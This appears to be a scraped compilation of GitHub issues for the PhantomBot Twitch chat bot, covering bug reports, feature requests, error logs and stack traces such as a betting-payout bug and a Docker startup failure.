The idea is to have a Twitch-Team-Bot, which all members of said team can use, with a set of commands created to suite the needs of said team, like promoting each other, social links etc. Obviously I would still need to create slaves for each streamer, but I wouldn't need to add all commands and keywords etc. again and again for each individual bot.

Has anyone tried something like that yet and is willing to share their insights? Or can someone tell me wheter what I would like to do is even possible?

Thank you for your time.
Cheers,
Griefed

(playsound ...) tag only accepts digits 1-9 in sound names

(playsound tf2_heavy_medic02) doesn't work as expected, because the pattern doesn't match the digit 0:

if (message.match(/\(playsound\s([a-zA-Z1-9_]+)\)/g)) {
if (!$.audioHookExists(message.match(/\(playsound\s([a-zA-Z1-9_]+)\)/)[1])) {
$.log.error('Could not play audio hook: Audio hook does not exist.');
return null;
}
$.panelsocketserver.triggerAudioPanel(message.match(/\(playsound\s([a-zA-Z1-9_]+)\)/)[1]);
message = $.replace(message, message.match(/\(playsound\s([a-zA-Z1-9_]+)\)/)[0], '');
if (message == '') {
return null;
}
}

Feature Request: Change Streamlabs OBS scene on command and/or channel point reward

PhantomBot Version: 3.2.2
O/S Version: 20H2
Java Version: No idea
Web Browser Version (if Panel related):

Detailed Description:
I am looking around at trying to enable multiple POV's to appear in my stream by chat or a moderator triggering a command based on chat input or redeeming a channel point reward. I understand Streamlabs Chatbot can do this already and I was really eager to see if phantombot can do this.

We use phantombot because it is the only bot, that we know of, which allows moderators of the channel to access the bot remotely through web browser. We LOVE this feature and is imperative to our channel as our broadcaster isn't up to speed on the tech of bots like myself. I run all her tech for her but I am not at their house to work on the bot while the stream is live.

Steps to Reproduce:
Being a feature request, no steps available.

Logs:

Screenshots (if applicable):

Points,hours,ranks transfer

PhantomBot Version:
O/S Version:
Java Version:
Web Browser Version (if Panel related):

Detailed Description:
Usually when my friend updates her bot, she keeps the phantombot.db file. Is there a way of keeping the points, ranks and hours WITHOUT saving the custom commands? She wants to reset All her commands but keep the points etc

Steps to Reproduce:

Logs:

Screenshots (if applicable):

Youtube Player Arabic Support

PhantomBot Version:3.3.4
O/S Version:Ubuntu
Java Version:
Web Browser Version (if Panel related):

Detailed Description: Hello, Whenever I do a !songrequest in Arabic, I get the same video which is DIY soap clickbait something, without being able to add the real Arabic song, I can only do !songrequest along with the link and It'll work fine.

Steps to Reproduce:

Logs:

Screenshots (if applicable):

Feature Request: Mod activity stats

Detailed Description:

My idea is to see the activity of my mods.
Stuff like detailed stats about chat time, chat messages, timeouts, command uses etc.

thanks

Feature-Request: Random picking in Queue

Allow the caster to pick random in the queue instead of by position, this could be done two ways.

!queue random [amount]
Would be using the current queue system, just adding a function to pick out random in the queue. downside is !next and !position would not be that usefull.

Fixed by Queue when activated
Alternative would be to somehow let the caster choose when he make a Queue if it is random or by position, but that would require some rewriting of the whole system. this would however allow the bot to disable !next and !position doing the active queue

Rename betting lang file

Hey,
in the lang/english/systems/ directory the only file which has not systems- as it prefix is the betting system.

I think to open just for renaming one file is wasted so i opened a Issue instead.

I think that the missing s should be there

Adding custom commands without exclamation mark.

PhantomBot Version:
O/S Version:
Java Version:
Web Browser Version (if Panel related):

Detailed Description:
Hello, is it possible to add a command without '!' for example I want to add a custom command like "time?" or in Arabic that ends with a question mark only, how to do that?

Steps to Reproduce:

Logs:

Screenshots (if applicable):

Raffle System

The Raffle System seems to be broken atm.
You can open a raffle but no one seems to be able to enter the raffle same for ticket raffle.
For the normal raffle it also wont autoclose (after time was added to the raffle) but im not sure if an entry is needed for this.

Add Users to queue from external

PhantomBot Version: 3.3.5
O/S Version: Linux / Docker
Java Version: 11.0.4+10-LTS
Web Browser Version (if Panel related):

Detailed Description:
Is it possible to add user to the queue from an external application?
Database table has 3 fields
section = ???
variable = Twitch username
value = JSON with some infos

If i add a row there its shown in panel but never get drawn.

Thanks in advance!

Docker image not starting, log file not found

PhantomBot Version: 3.3.5
O/S Version: Pie 3 - Linux 4.19.75-v7+ (arm)
Java Version: 11.0.8
Web Browser Version (if Panel related): All browsers

Detailed Description:
When I start a brand new Docker container with the latest stable version, an error occur in the container and nothing's working.

Steps to Reproduce:
Start a container with this command:

docker run -d --name phantombot -p 25000:25000 -v "$(pwd)/phantombot:/opt/PhantomBot_data" -e PHANTOMBOT_USER="Bob_Le_Bot" -e PHANTOMBOT_OAUTH="..." -e PHANTOMBOT_APIOAUTH="..." -e PHANTOMBOT_CHANNEL="..." -e PHANTOMBOT_PANELUSER="..." -e PHANTOMBOT_PANELPASSWORD="..." gmt2001/phantombot-stable

Try to access the web panel with http://PieAddress:25000/, get an error saying the page can't load. I still can access others containers on the same Pie without issue.

Logs:

[11-26-2020 @ 22:12:43.931 GMT] The working directory is: /opt/PhantomBot


[11-26-2020 @ 22:12:44.405 GMT] Detected Java 11.0.8 running on Linux 4.19.75-v7+ (arm)


[11-26-2020 @ 22:12:44.632 GMT] 


[11-26-2020 @ 22:12:44.717 GMT] PhantomBot Version: 3.3.5 (stable)


[11-26-2020 @ 22:12:44.720 GMT] Build Revision: 9699e58


[11-26-2020 @ 22:12:44.721 GMT] Creator: mast3rplan


[11-26-2020 @ 22:12:44.722 GMT] Developers: gmt2001, Kojitsari, ScaniaTV, & IllusionaryOne


[11-26-2020 @ 22:12:44.724 GMT] https://phantombot.github.io/PhantomBot/


[11-26-2020 @ 22:12:44.725 GMT] 


java.io.FileNotFoundException: ./logs/core-error/26-11-2020.txt (No such file or directory)


	at java.base/java.io.FileOutputStream.open0(Native Method)


	at java.base/java.io.FileOutputStream.open(Unknown Source)


	at java.base/java.io.FileOutputStream.<init>(Unknown Source)


	at java.base/java.io.FileOutputStream.<init>(Unknown Source)


	at com.gmt2001.Logger.run(Logger.java:132)


	at java.base/java.lang.Thread.run(Unknown Source)


java.io.FileNotFoundException: ./logs/core-error/26-11-2020.txt (No such file or directory)


	at java.base/java.io.FileOutputStream.open0(Native Method)


	at java.base/java.io.FileOutputStream.open(Unknown Source)


	at java.base/java.io.FileOutputStream.<init>(Unknown Source)


	at java.base/java.io.FileOutputStream.<init>(Unknown Source)


	at com.gmt2001.Logger.run(Logger.java:132)


	at java.base/java.lang.Thread.run(Unknown Source)


java.io.FileNotFoundException: ./logs/core-error/26-11-2020.txt (No such file or directory)


	at java.base/java.io.FileOutputStream.open0(Native Method)


	at java.base/java.io.FileOutputStream.open(Unknown Source)


	at java.base/java.io.FileOutputStream.<init>(Unknown Source)


	at java.base/java.io.FileOutputStream.<init>(Unknown Source)


	at com.gmt2001.Logger.run(Logger.java:132)


	at java.base/java.lang.Thread.run(Unknown Source)

constant 429 error codes reported in latest build

PhantomBot Version: 487f078 (built from latest source)
O/S Version: docker/centos 7
Java Version: docker/openjdk
Web Browser Version (if Panel related):

Detailed Description:
Running the latest code, I'm receiving constant 429 error codes in logs every 15 seconds

Steps to Reproduce:
Rebuild docker container with latest source and start it up

I tested rolling back the latest PR and excluding it entirely (rolling back to 1078029) and validated that the error still persists in that version as well. I have another instance of the bot running without the twitch oauth auto refresh and with an older discord token that needs updating, and that one does NOT demonstrate this error.

Log from that bot

phantombot_xeserox   | [01-02-2021 @ 20:03:04.005 GMT] The working directory is: /opt/PhantomBot
phantombot_xeserox   | [01-02-2021 @ 20:03:04.049 GMT] Detected Java 11.0.8 running on Linux 3.10.0-1160.6.1.el7.x86_64 (amd64)
phantombot_xeserox   | [01-02-2021 @ 20:03:04.062 GMT] Enabling Silent Script Load
phantombot_xeserox   | [01-02-2021 @ 20:03:04.063 GMT]
phantombot_xeserox   | [01-02-2021 @ 20:03:04.068 GMT] PhantomBot Version: 3.4.0 (stable)
phantombot_xeserox   | [01-02-2021 @ 20:03:04.069 GMT] Build Revision: unknown
phantombot_xeserox   | [01-02-2021 @ 20:03:04.069 GMT] Creator: mast3rplan
phantombot_xeserox   | [01-02-2021 @ 20:03:04.069 GMT] Developers: gmt2001, Kojitsari, ScaniaTV, & IllusionaryOne
phantombot_xeserox   | [01-02-2021 @ 20:03:04.069 GMT] https://phantombot.github.io/PhantomBot/
phantombot_xeserox   | [01-02-2021 @ 20:03:04.069 GMT]
phantombot_xeserox   | [01-02-2021 @ 20:03:05.012 GMT] Validated Twitch CHAT (oauth) OAUTH Token.
phantombot_xeserox   | [01-02-2021 @ 20:03:05.014 GMT] Validated Twitch API (apioauth) OAUTH Token.
phantombot_xeserox   | [01-02-2021 @ 20:03:05.237 GMT]
phantombot_xeserox   | [01-02-2021 @ 20:03:05.767 GMT] Loading modules...
phantombot_xeserox   | [01-02-2021 @ 20:03:06.058 GMT] Connected to Discord, finishing authentication...
phantombot_xeserox   | [01-02-2021 @ 20:03:06.124 GMT] [ERROR] [lambda$connect$4()@DiscordAPI.java:151] Discord rejected privileged intents (4014 Disallowed intent(s).). Trying without them...
phantombot_xeserox   | [01-02-2021 @ 20:03:08.147 GMT] Modules have been loaded.
phantombot_xeserox   | [01-02-2021 @ 20:03:08.231 GMT]
phantombot_xeserox   | [01-02-2021 @ 20:03:08.231 GMT] For support please visit: https://discord.gg/YKvMd78
phantombot_xeserox   | [01-02-2021 @ 20:03:08.231 GMT]
phantombot_xeserox   | [01-02-2021 @ 20:03:08.242 GMT] Connecting to Twitch WS-IRC Server (SSL) [irc-ws.chat.twitch.tv]
phantombot_xeserox   | [01-02-2021 @ 20:03:08.562 GMT] Connected to [email protected] (SSL)
phantombot_xeserox   | [01-02-2021 @ 20:03:08.666 GMT] Channel Joined [#xeserox]
phantombot_xeserox   | [01-02-2021 @ 20:03:08.766 GMT] classpetbot ready!
phantombot_xeserox   | [01-02-2021 @ 20:03:08.895 GMT] Connected to Twitch Host Data Feed
phantombot_xeserox   | [01-02-2021 @ 20:03:13.304 GMT] Connected to Discord, finishing authentication...
phantombot_xeserox   | [01-02-2021 @ 20:03:13.419 GMT] Successfully authenticated with Discord.
phantombot_xeserox   | [01-02-2021 @ 20:03:28.837 GMT] >> Enabling follower announcements
phantombot_xeserox   | [01-02-2021 @ 20:03:28.896 GMT] >> Enabling hosts announcements

Modules in use:

  • Twitch OAuth auto refresh token
  • Discord Bot

Logs with issue:

phantombot_aevum     | /opt/java/openjdk/bin/java
phantombot_aevum     | [01-02-2021 @ 19:57:41.780 GMT] The working directory is: /opt/PhantomBot
phantombot_aevum     | [01-02-2021 @ 19:57:41.828 GMT] Detected Java 11.0.8 running on Linux 3.10.0-1160.6.1.el7.x86_64 (amd64)
phantombot_aevum     | [01-02-2021 @ 19:57:41.845 GMT] Enabling Silent Script Load
phantombot_aevum     | [01-02-2021 @ 19:57:41.846 GMT]
phantombot_aevum     | [01-02-2021 @ 19:57:41.854 GMT] PhantomBot Version: 3.4.0 (stable)
phantombot_aevum     | [01-02-2021 @ 19:57:41.855 GMT] Build Revision: unknown
phantombot_aevum     | [01-02-2021 @ 19:57:41.855 GMT] Creator: mast3rplan
phantombot_aevum     | [01-02-2021 @ 19:57:41.855 GMT] Developers: gmt2001, Kojitsari, ScaniaTV, & IllusionaryOne
phantombot_aevum     | [01-02-2021 @ 19:57:41.855 GMT] https://phantombot.github.io/PhantomBot/
phantombot_aevum     | [01-02-2021 @ 19:57:41.855 GMT]
phantombot_aevum     | [01-02-2021 @ 19:57:42.742 GMT] Refreshed the bot token
phantombot_aevum     | [01-02-2021 @ 19:57:42.986 GMT] Refreshed the broadcaster token
phantombot_aevum     | [01-02-2021 @ 19:57:43.398 GMT] Validated Twitch CHAT (oauth) OAUTH Token.
phantombot_aevum     | [01-02-2021 @ 19:57:43.535 GMT] Validated Twitch API (apioauth) OAUTH Token.
phantombot_aevum     | [01-02-2021 @ 19:57:44.039 GMT] Authenticated with Twitter API
phantombot_aevum     | [01-02-2021 @ 19:57:44.039 GMT]
phantombot_aevum     | [01-02-2021 @ 19:57:44.494 GMT] Loading modules...
phantombot_aevum     | [01-02-2021 @ 19:57:44.966 GMT] Connected to Discord, finishing authentication...
phantombot_aevum     | [01-02-2021 @ 19:57:45.217 GMT] Successfully authenticated with Discord.
phantombot_aevum     | [01-02-2021 @ 19:57:46.947 GMT] Modules have been loaded.
phantombot_aevum     | [01-02-2021 @ 19:57:47.122 GMT]
phantombot_aevum     | [01-02-2021 @ 19:57:47.122 GMT] For support please visit: https://discord.gg/YKvMd78
phantombot_aevum     | [01-02-2021 @ 19:57:47.122 GMT]
phantombot_aevum     | [01-02-2021 @ 19:57:47.133 GMT] Connecting to Twitch WS-IRC Server (SSL) [irc-ws.chat.twitch.tv]
phantombot_aevum     | [01-02-2021 @ 19:57:47.453 GMT] Connected to [email protected] (SSL)
phantombot_aevum     | [01-02-2021 @ 19:57:47.554 GMT] Channel Joined [#aevumdecessus]
phantombot_aevum     | [01-02-2021 @ 19:57:47.663 GMT] aevumbot ready!
phantombot_aevum     | [01-02-2021 @ 19:57:48.166 GMT] Connected to Twitch Moderation Data Feed
phantombot_aevum     | [01-02-2021 @ 19:57:48.168 GMT] Connected to Twitch Channel Points Data Feed
phantombot_aevum     | [01-02-2021 @ 19:58:03.402 GMT] Invalid Response Received: 429
phantombot_aevum     | [01-02-2021 @ 19:58:07.929 GMT] >> Enabling follower announcements
phantombot_aevum     | [01-02-2021 @ 19:58:07.959 GMT] >> Enabling StreamLabs donation announcements
phantombot_aevum     | [01-02-2021 @ 19:58:18.399 GMT] Invalid Response Received: 429

Screenshots (if applicable):

TypeError useronly()@commandTags.js:1467

Exh0rder: Here's the error (if it helps): 
[init.js:317] Error with Event Handler [command] Script [./commands/customCommands.js] Stacktrace [useronly()@commandTags.js:1467 > tags()@commandTags.js:1644 > customCommands.js:218 > init.js:315 > init.js:532] Exception [TypeError: Cannot find function match in object 1.]

(touser) & (pointtouser) wont use given variables if used in command

PhantomBot Version: 3.3.0 (stable) (Revision: 44873ee)
Operating System: Linux
Java Version: 11.0.4+10-LTS

Detailed Description: When using the variables (touser) or (pointtouser) in a command they always refer to the user giving the command and not the variable itself.

Steps to Reproduce: create a custom command such as

Go check out (touser) on their twitch channel at twitch.tv/(touser) this streamer is cool

Run the command !so testuser

The output will show the custom command but with the variables replaced as the name of the user running the command and not the variable given.

Screenshots (if applicable):
https://imgur.com/a/REqyk2D

NPE when wsHostIRC not running

When saving clientid and clientsecret (but saved)
[10-10-2020 @ 04:56:18.279 GMT] [DEBUG] [handleRequest()@HTTPPanelAndYTHandler.java:105] 200 PUT: .\web\oauth\index.html (index.html = text/html; charset=UTF-8)
[10-10-2020 @ 04:56:18.284 GMT] [DEBUG] [handleRequest()@TwitchAuthorizationCodeFlow.java:167] reloading properties
java.lang.NullPointerException
        at tv.phantombot.PhantomBot.reloadProperties(PhantomBot.java:639)
        at com.gmt2001.TwitchAuthorizationCodeFlow.handleRequest(TwitchAuthorizationCodeFlow.java:168)
        at tv.phantombot.httpserver.HTTPPanelAndYTHandler.handleRequest(HTTPPanelAndYTHandler.java:109)
        at com.gmt2001.httpwsserver.HttpServerPageHandler.channelRead0(HttpServerPageHandler.java:90)
        at com.gmt2001.httpwsserver.HttpServerPageHandler.channelRead0(HttpServerPageHandler.java:55)

[Enhancement] Ignore case and spaces checkbox for Keywords

Just a suggestion to implement ignore case for keywords which makes it easier for people like me who wants the bot to respond to phrases without having to write a sentence in 20891838 versions all over again just that the bot reliably responds to all keywords.

For example as regex keywords I use

(What are your specs|What PC do you have|What's your CPU)

but these do not trigger if said person does not use the exact versions as above, one types pc in lowercase, the other one in uppercase... or when the spaces are off. That's why I had to manually go into the keywordHandler script in position 35 and edit

json.regexKey = new RegExp(json.keyword.replace('regex:', ''));
to
json.regexKey = new RegExp(json.keyword.replace('regex:', ''), 'i');

for the cased letters.

(Thanks to a friend)

Post in the chat not posted as the bot

PhantomBot Version: 3.4.0
O/S Version: Linux
Java Version: 11.0.3+1-Debian-1bpo91
Web Browser Version (if Panel related): 1.4.0

Detailed Description:

I set up the bot correctly, everything seems fine. But I have one question : is it normal that all bot commands are written in the chat as me and not as my bot name?

user is set in botlogin.txt so it should be fine. shouldn't it?

Bet calculation issue

Used Version: 2.0.6

There seems to be an error in the current betting system.
It will payout more points then available (example pot = 300, payout to users = 600)

Also there is (in my mind) a main function missing. A close bet before pushing the win option... cause in the current version its possible to watch the stream until the streamer enters the win option so you can wait till that and then send your bet ... so its a 100% win chance. It should be like !bet open (maybe optional timer), !bet close, !bet win option.

2 examples :

JustBotti: @Shockwave2k, currently has 5628 Muffins and has been in the chat for 24hrs 53min .
JustBotti: @Golo80, currently has 7004 Muffins and has been in the chat for 32hrs 52min .
JustBotti: @zarra28, currently has 7973 Muffins and has been in the chat for 30hrs 38min .

Shockwave2k: !bet open win loss
JustBotti: Bet started! You can vote for win vs loss! For a chance to win Muffins!

Shockwave2k: !bet 100 loss
JustBotti: Bet updated! shockwave2k wagers 100 Muffins on loss! New pot 100 Muffins
Golo80: !bet 100 win
JustBotti: Bet updated! golo80 wagers 100 Muffins on win! New pot 200Muffins
zarra28: !bet 100 win
JustBotti: Bet updated! zarra28 wagers 100 Muffins on win! New pot 300 Muffins

Shockwave2k: !bet close win
JustBotti: Bet closed! Every user that voted for win won 300 Muffins!

JustBotti: @Shockwave2k, currently has 5528 Muffins and has been in the chat for 24hrs 53min .
JustBotti: @Golo80, currently has 7204 Muffins and has been in the chat for 32hrs 52min .
JustBotti: @zarra28, currently has 8173 Muffins and has been in the chat for 30hrs 38min .
JustBotti: Bet started! You can vote for win vs loss! For a chance to win Muffins!

Golo80: !bet 150 win
JustBotti: Bet updated! golo80 wagers 150 Muffins on win! New pot 150 Muffins

zarra28: !bet 50 loss
JustBotti: Bet updated! zarra28 wagers 50 Muffins on loss! New pot 200 Muffins

Shockwave2k: !bet 200 win
JustBotti: Bet updated! shockwave2k wagers 200 Muffins on win! New pot 400 Muffins

Shockwave2k: !bet close win
JustBotti: Bet closed! Every user that voted for win won 400 Muffins!

JustBotti: @Golo80, currently has 7354 Muffins and has been in the chat for 32hrs 52min .
JustBotti: @zarra28, currently has 8123 Muffins and has been in the chat for 30hrs 38min .
JustBotti: @Shockwave2k, currently has 5728 Muffins and has been in the chat for 24hrs 53min .

Console command 'createcmdlist' Exception

PhantomBot Version: 3.1.2 - 3.2.3
O/S Version: Windows / Linux
Java Version: 11.0.4 / 8

Detailed Description:
Console error / no File output while using Console Command

Steps to Reproduce:
Using console command createcmdlist

Logs:

[07-23-2020 @ 20:13:39.245 GMT] [handleError()@ExceptionHandler.java:26] Failed to dispatch event [public void tv.phantombot.console.ConsoleEventHandler.onConsoleInput(tv.phantombot.event.console.ConsoleInputEvent) throws org.json.JSONException] to [tv.phantombot.console.ConsoleEventHandler@5f233b26] null

[07-23-2020 @ 20:13:39.259 GMT] java.lang.reflect.InvocationTargetException
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
	at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
	at java.base/java.lang.reflect.Method.invoke(Unknown Source)
	at net.engio.mbassy.dispatch.ReflectiveHandlerInvocation.invoke(ReflectiveHandlerInvocation.java:29)
	at net.engio.mbassy.dispatch.MessageDispatcher.dispatch(MessageDispatcher.java:30)
	at net.engio.mbassy.dispatch.FilteredMessageDispatcher.dispatch(FilteredMessageDispatcher.java:42)
	at net.engio.mbassy.subscription.Subscription.publish(Subscription.java:72)
	at net.engio.mbassy.bus.MessagePublication.execute(MessagePublication.java:49)
	at net.engio.mbassy.bus.MBassador.publish(MBassador.java:66)
	at tv.phantombot.event.EventBus.post(EventBus.java:75)
	at tv.phantombot.console.ConsoleInputListener.run(ConsoleInputListener.java:32)
Caused by: org.mozilla.javascript.EcmaError: TypeError: Cannot read property "script" from undefined (commandRegister.js#161)
	at org.mozilla.javascript.ScriptRuntime.constructError(ScriptRuntime.java:4236)
	at org.mozilla.javascript.ScriptRuntime.constructError(ScriptRuntime.java:4214)
	at org.mozilla.javascript.ScriptRuntime.typeError(ScriptRuntime.java:4247)
	at org.mozilla.javascript.ScriptRuntime.typeError2(ScriptRuntime.java:4266)
	at org.mozilla.javascript.ScriptRuntime.undefReadError(ScriptRuntime.java:4278)
	at org.mozilla.javascript.ScriptRuntime.getObjectProp(ScriptRuntime.java:1569)
	at org.mozilla.javascript.gen.commandRegister_js_81._c_getCommandScript_8(commandRegister.js:161)
	at org.mozilla.javascript.gen.commandRegister_js_81.call(commandRegister.js)
	at org.mozilla.javascript.ContextFactory.doTopCall(ContextFactory.java:412)
	at org.mozilla.javascript.ScriptRuntime.doTopCall(ScriptRuntime.java:3545)
	at org.mozilla.javascript.gen.commandRegister_js_81.call(commandRegister.js)
	at org.mozilla.javascript.Context.lambda$call$0(Context.java:550)
	at org.mozilla.javascript.Context.call(Context.java:559)
	at org.mozilla.javascript.Context.call(Context.java:550)
	at org.mozilla.javascript.ScriptableObject.callMethod(ScriptableObject.java:2695)
	at org.mozilla.javascript.ScriptableObject.callMethod(ScriptableObject.java:2665)
	at tv.phantombot.script.Script.callMethod(Script.java:55)
	at tv.phantombot.console.ConsoleEventHandler.onConsoleInput(ConsoleEventHandler.java:192)
	... 12 more

docker-compose file is not working due to self-signed SSL error

PhantomBot Version: latest

OS: Linux

Detailed Description:

Dockerized PhantomBot not working, because caddy don't like autogenerated self-signed certificate.

Steps to Reproduce:

Start PhantomBot via docker-compose up command, open https://localhost in browser.

Logs:

caddy         | 2020/09/16 18:15:09 http: TLS handshake error from 172.18.0.1:56534: remote error: tls: unknown certificate

Feature Request: Multi-Month, general Subscription, Donations and Bits

PhantomBot Version: newest
O/S Version: Windows Server 2019 (1809)
Java Version: newest
Web Browser Version (if Panel related):

First: Excuse me for my bad English, because I come from Germany, but I try to make it understandable for all!

Detailed Description:
Is it possible (because it gives new the multi-month and Gifted Subscription + on a streak subscription) that these are implemented as Alerts an a Twitch Chat + the messages from the Person, who makes the subscription + The total Subgifts, that the Person has made all the Time in the Channel!
By the Donations it's sometimes a little bit weird, when People don't write Messages, but It's only available with the Message-Tag.
By the Bits Message is not the Message-Tag available, so sometime the Message is really cool, but it's not in the Alert (but when, then pls without the "bits" themselves + a Totalbits-Tag to say how much Bits in Total have a Person donated in the Channel.

Examples:

  • Multi-Month Subsciption: "Person extended their Tier Y subscription through Z!"
  • Total subgifts: "Person has giftet X Sub(s) and have now a total of Y Sub(s) in this Channel! Thank you!"
  • With Streak: "Person has subscribed with Tier X. They've subscribed in a total of Y months and currently on a Z month streak!"
  • Without streak: "Person has subscribed with Tier X. They've subscribed in a total of Y months!
  • With Streak and Message: "Person has subscribed with Tier X. They've subscribed in a total of Y months, currently on a Z month streak an the Message: !"
  • Without streak but Message: "Person has subscribed with Tier X. They've subscribed in a total of Y months and the Message: !"
    Donations without Message: "Person has donated 5$!"
    Bits with Message: "Person has donated X Bits, with the Message: !"
    -> normally the Person writes as Message "1Bit 1Bit 1Bit 1Bit 1Bit You make a great Stream! Keep going!", but I want it so: "You make a great Stream! Keep going!"
    -> with the Totalbits-Tag: "Person has donated X Bits and a total of Y Bits"

By the Multi Month Subscription and Gifted Subscription, I don't know how the Messages can be.

Steps to Reproduce:

Logs:

Screenshots (if applicable):

I hope it's okay enough to show, what would a cool Feature for the Bot.

Best Regards
Lucas

Index out of bounds error

PhantomBot Version: 3.2.0-NB-20200618 (nightly_build)
O/S Version: Raspbian 9.8
Java Version: Java 11.0.6 running on Linux 4.14.98-v7+ (arm)

I found this in the error logs and I had to restart my bot to make it work properly again. Sadly I cannot tell you what happend in chat at that time. I hope that the log gives you enough info to reproduce the bug. If not, feel free to just close the issue. robsdebot is the name of the bot btw.

[07-14-2020 @ 21:27:20.626 GMT] [parseData()@TwitchWSIRCParser.java:172] Failed to parse Twitch message: [Index 1 out of bounds for length 1] 

 {@badge-info=;badges=moderator/1;color=;display-name=robsdebot;emote-sets=0,300374282,537206155;mod=1;subscriber=0;user-type=mod :tmi.twitch.tv USERSTATE #robsdedude
PONG :tmi.twitch.tv
}

[07-14-2020 @ 21:27:20.679 GMT] java.lang.ArrayIndexOutOfBoundsException: Index 1 out of bounds for length 1
        at tv.phantombot.twitch.irc.TwitchWSIRCParser.parseLine(TwitchWSIRCParser.java:287)
        at tv.phantombot.twitch.irc.TwitchWSIRCParser.parseData(TwitchWSIRCParser.java:166)
        at tv.phantombot.twitch.irc.TwitchWSIRC.lambda$onMessage$1(TwitchWSIRC.java:189)
        at java.base/java.lang.Thread.run(Thread.java:834)

custom commands with readfilerand sounds aren't working anymore

PhantomBot Version: 3.3.1
O/S Version: linux, ubuntu xenial
Java Version: packaged version
Web Browser Version (if Panel related): not related

Detailed Description:
We have several custom commands using the readfilerand command to get a random soundcommand from a textfile.
Since the update the bot shows the random line from the textfile but this does not trigger the sound anymore
We use this to play random sounds for several commands.

Before the update (from 3.2.3) everything worked.

I guess this is related to #2253 but I could not find how to fix my problem.

Steps to Reproduce:
create a textfile, e.g. addons/speichern.txt - contents:

(playsound speichern_julia)
(playsound speichern_skexis)
(playsound speichern_fuxx)

Add a custom command containing readfilerand(speichern.txt)

trigger the command. The output will be a line (including the brackets) from the textfile, but this isn't parsed anymore.

Logs:
no errors in the logfiles

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤ī¸ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.